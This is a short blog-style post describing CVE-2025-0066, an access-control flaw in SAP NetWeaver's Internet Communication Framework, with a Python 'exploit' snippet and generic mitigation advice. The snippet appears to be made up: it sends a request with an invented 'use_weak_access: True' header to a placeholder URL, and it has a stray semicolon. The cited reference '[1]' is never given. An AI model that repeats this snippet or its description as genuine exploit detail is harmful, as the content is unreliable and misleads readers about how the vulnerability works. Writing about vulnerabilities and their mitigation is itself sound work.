In the cybersecurity landscape today, protecting sensitive information and critical systems from sophisticated adversaries has become a top priority for many organizations. One of the most widely used systems, the SAP NetWeaver AS for ABAP and ABAP Platform (Internet Communication Framework), is not immune to such threats. In this blog post, we will discuss a recent critical vulnerability, identified by Common Vulnerabilities and Exposures (CVE) as CVE-2025-0066, which allows attackers to access restricted information through weak access controls in these platforms.

Details on CVE-2025-0066

CVE-2025-0066 is a high-severity vulnerability that, under specific conditions, allows an attacker to access restricted information due to weak access controls implemented within the Internet Communication Framework of the SAP NetWeaver AS for ABAP and ABAP Platform. Exploitation of this vulnerability can have severe consequences, impacting the confidentiality, integrity, and availability of affected applications.

Exploit Details

The vulnerability stems from inadequate access restrictions imposed by the Internet Communication Framework upon sensitive information. This means that attackers can craft specific requests to access sensitive and restricted data within the system, enabling them to bypass any security measures in place.

Below is a code snippet demonstrating a possible exploit scenario

import requests

target_url = "https://target.sap.system.example/path/to/vulnerable/service";

# Attacker-gathered authentication credentials
auth = ("username", "password")

# Crafted request to exploit weak access control
headers = {"use_weak_access": "True"}

response = requests.get(target_url, auth=auth, headers=headers)

# Check if access to restricted resource is granted
if response.status_code == 200:
    print("Access granted")
    print("Restricted data:", str(response.content))
else:
    print("Access denied")

Mitigation Measures

As a prerequisite, organizations should ensure that they are running the latest security patches available for SAP NetWeaver AS for ABAP and ABAP Platform (Internet Communication Framework). Additional mitigation measures include:

1. Implement stringent access controls on sensitive resources within the system. SAP provides comprehensive guidance on securing their systems, which can be found within the SAP Security Guide [1].
2. Regularly review access logs to identify any unauthorized access attempts and implement intrusion detection mechanisms to detect such attempts.
3. Ensure that all users adhere to proper security protocols, including the utilization of strong passwords and two-factor authentication (2FA).
4. Consider segmenting sensitive areas within the network to limit the reach of an unauthorized user in case of a successful breach.
